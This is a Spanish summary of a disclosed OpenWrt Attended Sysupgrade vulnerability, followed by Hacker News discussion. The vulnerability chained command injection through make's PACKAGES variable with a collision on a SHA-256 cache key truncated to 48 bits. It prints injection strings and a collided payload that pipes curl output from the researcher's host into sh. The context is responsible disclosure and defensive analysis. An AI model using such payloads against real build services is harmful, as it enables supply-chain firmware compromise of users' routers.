2 puntos por GN⁺ 2024-12-10 | 1 comentarios | Compartir por WhatsApp
  • La función de actualización web de OpenWrt, Attended Sysupgrade, tenía una arquitectura en la que generaba firmware en un servidor de compilación en línea, y al combinarse una inyección de comandos con una colisión de SHA-256 truncado, podía devolver artefactos de compilación incorrectos ante solicitudes legítimas
  • Como el valor packages de la solicitud se pasaba a la variable PACKAGES= de make manifest, por las características de expansión de variables de make, un atacante podía ejecutar comandos arbitrarios dentro del contenedor del ImageBuilder
  • El hash de la lista de paquetes no reflejaba el SHA-256 completo, sino solo los primeros 12 caracteres, es decir, 48 bits, en la clave de caché, por lo que listas de paquetes distintas podían generar el mismo hash de solicitud
  • El investigador obtuvo una velocidad de alrededor de 18 mil millones de hashes por segundo con una versión modificada de Hashcat y una RTX 4090, y logró verificar que podía sobrescribir los artefactos .bin del ImageBuilder con una carga útil de inyección de comandos colisionada
  • Tras recibir un reporte privado de vulnerabilidad, el equipo de OpenWrt suspendió temporalmente sysupgrade.openwrt.org y desplegó una versión corregida en menos de 3 horas, pero no pudo confirmar si ya había sido explotada antes

Estructura de compilación de firmware en línea de Attended Sysupgrade

  • La interfaz web LuCI de OpenWrt incluye Attended Sysupgrade, una función que usa un servicio en línea para compilar nuevo firmware
  • El servicio de compilación funciona en sysupgrade.openwrt.org y, cuando el usuario selecciona el dispositivo objetivo y los paquetes deseados, genera una nueva imagen de firmware
  • Al solicitar la actualización, el OpenWrt del usuario envía al servidor la siguiente información
    • Arquitectura objetivo
    • Perfil del dispositivo
    • Paquetes seleccionados
  • Con base en esta información, el servidor compila una imagen de firmware, la devuelve al dispositivo OpenWrt y el dispositivo flashea la imagen recibida
  • Si el servidor que compila imágenes con paquetes proporcionados por el usuario no está suficientemente aislado, se convierte en una superficie de ataque de cadena de suministro, ya que el resultado de la compilación se aplica directamente al dispositivo

Inyección de comandos mediante el valor PACKAGES

  • El servidor sysupgrade.openwrt.org es un proyecto open source, y su código fuente está en openwrt/asu
  • El entorno de compilación se ejecuta en un contenedor creado con podman.containers.create, y usa configuraciones como cap_drop=["all"], no_new_privileges=True y privileged=False
  • La vulnerabilidad ocurre en la llamada a make manifest
    • PROFILE={build_request.profile}
    • PACKAGES={' '.join(build_cmd_packages)}
    • STRIP_ABI=1
  • El target manifest del ImageBuilder de OpenWrt vuelve a pasar el valor de PACKAGES en la forma USER_PACKAGES="$(PACKAGES)"
  • Como make expande las variables antes de ejecutar comandos, los valores controlados por el usuario no se procesan de forma segura aunque estén entre comillas simples
    • En un Makefile de ejemplo, si se ejecuta make var="'; whoami #", whoami se ejecuta incluso dentro de echo '$(var)'
  • Como el parámetro packages de la solicitud entra en la variable PACKAGES, un atacante podía insertar comandos en un valor que aparentara ser un nombre de paquete y ejecutar comandos arbitrarios dentro del contenedor del ImageBuilder
  • Aunque el contenedor estuviera aislado del host, los binarios generados se firmaban con una clave privada en una etapa posterior, por lo que esta inyección de comandos derivaba en una vulnerabilidad de cadena de suministro

Clave de caché SHA-256 truncada a 12 caracteres

  • get_request_hash concatena varios campos de la solicitud de compilación para crear un hash de solicitud, y ese hash se usa como clave de caché de compilación
  • La lista de paquetes no se incluye directamente como string, sino que se incorpora al hash externo de la solicitud el resultado de get_packages_hash(build_request.packages)
  • get_packages_hash elimina paquetes duplicados, los ordena y calcula el SHA-256 del string unido con espacios, pero devuelve el resultado truncado a los primeros 12 caracteres
  • Un prefijo SHA-256 de 12 caracteres tiene 48 bits, y el espacio posible es de 2^48 = 281,474,976,710,656 valores
  • Como el hash externo de solicitud incluye este hash de paquetes truncado, si se produce una colisión del hash de paquetes, listas de paquetes diferentes comparten la misma clave de caché
  • Como resultado, el servidor podía devolver artefactos de compilación incorrectos para una solicitud de paquetes distinta

Búsqueda de una carga útil colisionada con Hashcat

  • Al no encontrar una herramienta de fuerza bruta para coincidencias parciales de SHA-256, el investigador escribió un programa en OpenCL, pero tardaba 10 segundos en calcular 100 millones de hashes, una velocidad similar a la de hashing en CPU
  • Luego modificó Hashcat para que imprimiera hashes aunque solo coincidieran 8 caracteres, y verificó con un pequeño script si había colisiones de 12 caracteres
  • La lista de paquetes legítima se obtuvo de firmware-selector.openwrt.org, y su SHA-256 era 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb
    • Los primeros 12 caracteres eran 8f7018b33d94
    • La carga útil de ataque también debía tener el mismo prefijo de 12 caracteres
  • Al principio se ejecutó una máscara con la forma `curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh` en una RTX 4090, y se obtuvo una velocidad de alrededor de 500 millones de hashes por segundo
  • Como ?l genera caracteres a-z, el espacio de 10 letras es de 26^10 = 141,167,095,653,376 valores, aproximadamente la mitad de 2^48
  • Al ampliar la máscara a 11 caracteres y mover la posición de la máscara hacia el inicio del comando, la velocidad aumentó considerablemente
    • El patrón final fue `?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • Con este patrón, Hashcat calculaba alrededor de 18 mil millones de hashes por segundo
  • En menos de 1 hora se encontró la siguiente colisión de 12 caracteres
    • `slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • El SHA-256 de este string es 8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8, cuyos primeros 12 caracteres coinciden con los de la lista de paquetes legítima

Devolución de firmware incorrecto al combinar las dos vulnerabilidades

  • Al enviar la carga útil colisionada como parámetro packages, se produce la inyección de comandos y se ejecuta un script desde tmp.ryotak.net
  • El script de verificación agregaba código a /builder/scripts/json_overview_image_info.py para sobrescribir los artefactos creados por el ImageBuilder
    • Leía la lista de archivos de BIN_DIR
    • Buscaba archivos cuyo nombre terminara en .bin y escribía "test" en su contenido
  • Debido a la colisión de hash, el servidor devolvía el artefacto de compilación sobrescrito al usuario que solicitaba la lista de paquetes legítima
  • Si este método se explotaba, el usuario terminaría actualizando a firmware malicioso, lo que podría llevar al compromiso del dispositivo

Reporte y corrección

  • La vulnerabilidad se informó al equipo de OpenWrt mediante el reporte privado de vulnerabilidades de GitHub
  • Tras confirmar el problema, el equipo de OpenWrt suspendió temporalmente el servicio sysupgrade.openwrt.org e inició una investigación
  • La versión corregida se desplegó en menos de 3 horas, y el servicio también se reanudó
  • Aunque se corrigieron ambos problemas, como la vulnerabilidad existió durante cierto tiempo, no fue posible saber si alguien más ya la había explotado
  • El equipo de OpenWrt publicó un aviso para que los usuarios pudieran verificar y detectar si sus dispositivos habían sido comprometidos

Conclusión

  • sysupgrade.openwrt.org podía ser comprometido mediante la combinación de inyección de comandos y colisión de SHA-256 truncado
  • Es un caso en el que un ataque de colisión de hash se logró por fuerza bruta en una aplicación real, creando una ruta de ataque de cadena de suministro
  • El equipo de OpenWrt corrigió el problema y avisó a los usuarios en poco tiempo, pero los servicios de compilación en línea deben tratar las claves de caché y la validación de entradas de forma muy conservadora

1 comentarios

 
GN⁺ 2024-12-10
Comentarios en Hacker News
  • La vulnerabilidad que el artículo omite es que se está normalizando ejecutar código adaptado a usuarios o dispositivos específicos.
    No hay forma de verificar la reproducibilidad, y tampoco hay manera de que nadie confirme si este servicio de compilación/descarga personalizada produjo builds con puertas traseras.
    Deberían garantizar que se usen builds como las que usa Andres Freund para xz-utils, o builds que luego investigadores de seguridad puedan descargar para comprobar si hay implantes en la cadena de suministro de software de código abierto[1].
    Hace tiempo hubo un artículo que explicaba el intento abandonado de Mozilla de registrar públicamente sus release builds en un árbol de Merkle[2]. Google documentó la implementación de compilaciones de firmware para Pixel, pero las apps distribuidas por Google Play Store siguen viéndose vulnerables (salvo que exista otro log que no encontré)[3]. Apple, al dirigir builds por dispositivo individual tanto en firmware como en distribución de apps y sin transparencia de builds, se ve incluso peor que Google en términos de transparencia binaria.
    Un buen ejemplo es el repositorio de ebuilds de Gentoo. Incluye checksums de código fuente en un único repositorio Git/árbol de Merkle, así que podría seguir siendo uno de los árboles de Merkle más grandes y ampliamente distribuidos dentro del software de código abierto.
    [1] Después de la puerta trasera en xz-utils, algunos investigadores realizaron escaneos automáticos o semiautomáticos para encontrar archivos inexplicables de alta entropía que pudieran contener código malicioso oculto en builds de software de código abierto. En builds personalizadas por usuario o por dispositivo, este trabajo es imposible a menos que todas las builds se publiquen después para análisis posterior, junto con un log público (árbol de Merkle) de esas builds públicas.
    [2] https://wiki.mozilla.org/Security/Binary_Transparency
    [3] https://developers.google.com/android/binary_transparency/ov...

    • Es una buena idea y yo también la apoyo, pero hay que recordar que la reproducibilidad depende de la determinación.
      Muchos elementos que entran en un pipeline de build son inherentemente no deterministas, porque las decisiones tomadas al compilar pueden variar entre ejecuciones. Eso es así incluso dejando de lado los problemas de flags, y de hecho ese es casi el objetivo de los compiladores con optimización. Como descubrieron muchos proyectos de builds reproducibles, con la optimización activada la reproducibilidad prácticamente no está garantizada.
    • En el caso de Google Play: https://developer.android.com/guide/app-bundle/code-transpar...
      Hasta donde sé, no hay un log centralizado y se deja a los desarrolladores de apps publicar por su cuenta sus claves o sus logs de archivos de transparencia.
    • Usar ese tipo de servicio de builds equivale básicamente a decir: “no soy un objetivo lo bastante valioso como para recibir un ataque dirigido”.
    • Buscar archivos inexplicables de alta entropía que puedan contener código malicioso oculto mediante escaneos automáticos o semiautomáticos es fácil de evadir. Basta con dispersar la entropía.
    • Recuerdo que el equipo de transparencia de certificados de Google en la práctica también diseñó transparencia de firmware no solo para Android, sino para Linux en general.
  • ¿"".join no es también riesgoso?
    Si es algo como get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ..., mover caracteres entre campos adyacentes podría dejar el hash igual.
    Aunque no permita tomar control directo del sistema, podría causar envenenamiento de caché con imágenes rotas o inducir downgrades.

    • Sí. Por la razón que explicaste, al hacer hash de múltiples entradas se debería usar HMAC.
      Corrección: en realidad no HMAC, sino hash incremental.
  • Por eso el código abierto jamás podrá competir con el código cerrado empresarial:
    porque no te hizo esperar 6 meses por un parche, sino que lo arregló en 3 horas; tampoco intentó demandar a quien reportó el problema; ni te ofreció apenas un pequeño descuento para que tires un dispositivo “obsoleto” que sigue funcionando perfectamente y compres uno nuevo.

    • Aquí sería mejor dejar más claro que es sarcasmo. Como el inglés no es mi lengua materna, al principio interpreté que “they” se refería a “código cerrado empresarial”, y entendí que OpenWRT era la opción riesgosa que había hecho todo lo enumerado.
    • Esta es justo una de las razones por las que me gusta OpenWrt. Incluso pide que prueben si la interfaz web funciona bien para personas como yo que usan lector de pantalla.
    • Es cierto, pero OpenWRT parece haber corregido el truncamiento del hash y todavía no la inyección de comandos.
      Ojalá también planeen corregir la inyección de comandos. Como dice el artículo, las imágenes generadas se firman. Incluso sin la firma, sigue siendo un problema de ejecución de código a partir de entrada de usuario no confiable. Además, las vulnerabilidades pueden encadenarse entre sí, como en este caso de colisión de hash.
    • Tengo un router que estoy obligado a usar por mi ISP, y ha tenido varios CVE, desde malos hasta realmente graves, y la mayoría ya tienen años.
      Sí puedo reemplazarlo, pero solo por el mismo modelo. Al ISP no le importa en absoluto la seguridad y no aplica parches. Es completamente absurdo, considerando que tienen acceso exclusivo al router e incluso pueden iniciar sesión de forma remota.
    • Esto solo es posible en unos pocos proyectos de código abierto con respaldo corporativo y recursos para corregir rápido.
      En la mayoría de los proyectos de código abierto, los mantenedores están demasiado sobrecargados o simplemente no quieren arreglar problemas de seguridad.
  • Para empezar, esto era código abierto aunque no era una herramienta creada originalmente para ese propósito, y estaba escrito sin BuilderFactoryProvider, así que fue un caso de ajustarlo al trabajo en muy poco tiempo.
    Perdón por repetir algo ya dicho, pero esto me frustra muchísimo todos los días.
    Si hubiera sido una gran empresa, probablemente habría tardado -1 año en arreglarlo. Simplemente habrían demandado a esa persona e intentado arrestarla lo antes posible, y jamás habrían publicado un parche.
    OpenWrt, después de recibir la información, desactivó el servicio inseguro, verificó el reporte mientras los usuarios ya estaban protegidos gracias al apagado, luego creó el parche y lo desplegó en 3 horas. Impresionante.

  • Me intriga cómo se le ocurre a la gente la idea de truncar hashes. ¿Cuál sería el propósito o la ventaja?

    • Una función hash truncada no es vulnerable a ataques de extensión de longitud. Aun así, normalmente se usa SHA-512 y se recorta a 256 bits. Según los estándares actuales, si es más corto que eso, es difícil considerarlo seguro
    • A veces se hace para ajustarse a límites de longitud que ya existen en herramientas o bases de datos. O también cuando el hash no se usa para verificar integridad sino solo como identificador de ubicación
      No me parece una buena práctica, pero en la realidad la gente hace concesiones
    • Según el commit, lo hicieron para reducir la longitud del nombre del archivo descargado y de la URL
    • También se usa cuando se necesita un payload más pequeño
      Según la respuesta de @Reid en [2] y la de @ThomasPornin en [3], la idea de truncar hashes incluso está plenamente respaldada por NIST. De hecho, SHA-224 es una versión truncada de SHA-256, y SHA-384 es una versión truncada de SHA-512
      https://security.stackexchange.com/a/97389
    • Se hace al migrar de SHA-1 a SHA-256 cuando no se quiere cambiar el formato de datos usado para comprobaciones de integridad o almacenamiento de claves
  • Me gustó el artículo. Me sorprendió un poco que encontrar una colisión tan corta requiriera tanta capacidad de cómputo de GPU, pero estuvo bien ver la implementación
    Sobre la última sección: ¿40 mil dólares al mes por análisis de seguridad es un precio razonable? Si es así, ¿un buen investigador de seguridad gana como 500 mil dólares al año?

    • Significa que una buena empresa de investigación en seguridad podría generar 500 mil dólares de ingresos con un solo investigador sobresaliente. Claro, solo si puede conseguir suficiente trabajo para mantener a esa persona ocupada al 100%. Y si consideras incluso las vacaciones pagadas, en la práctica sería menos
    • Para mí, suena bastante razonable. Las empresas de pruebas de penetración con las que trabajé antes cobraban más o menos eso, y aun así solo corrían escaneos flojos con nmap/metasploit y luego los envolvían en un PDF que parecía profesional
    • En la era posterior a los LLM, una hora de cómputo con una 4090 está más cerca de ser “poco” que de ser “mucho”. Incluso puede costar menos de 1 dólar
    • 2^(12*4) significa que hay 281,474,976,710,656 posibles cadenas de 12 caracteres, así que poder recorrer esa cantidad en una hora sí es realmente impresionante
  • ¿Qué significa eso de que el rendimiento de hashcat cambia por varios órdenes de magnitud según el orden de los argumentos? ¿Escanea el patrón objetivo en la línea de argumentos cada vez que se ejecuta?

    • Podría ser como abrir una cerradura, empezando por la izquierda para ver si se puede avanzar más o si hay que descartar esa suposición. Entonces, si pones las “opciones” al principio, no hace falta reconstruirlas cada vez. También podría ser que, por alguna razón, no cachee o no pueda cachear prefijos
      O quizá sea como contar números
      100000000000
      010000000000
      110000000000
      001000000000
      donde la mayor parte de la variación ocurre a la izquierda y los cambios a la derecha aparecen con menos frecuencia. Sería interesante que alguien que conozca hashcat respondiera. Yo solo estoy especulando
  • El proceso del ataque estuvo muy bien explicado y fue fácil de seguir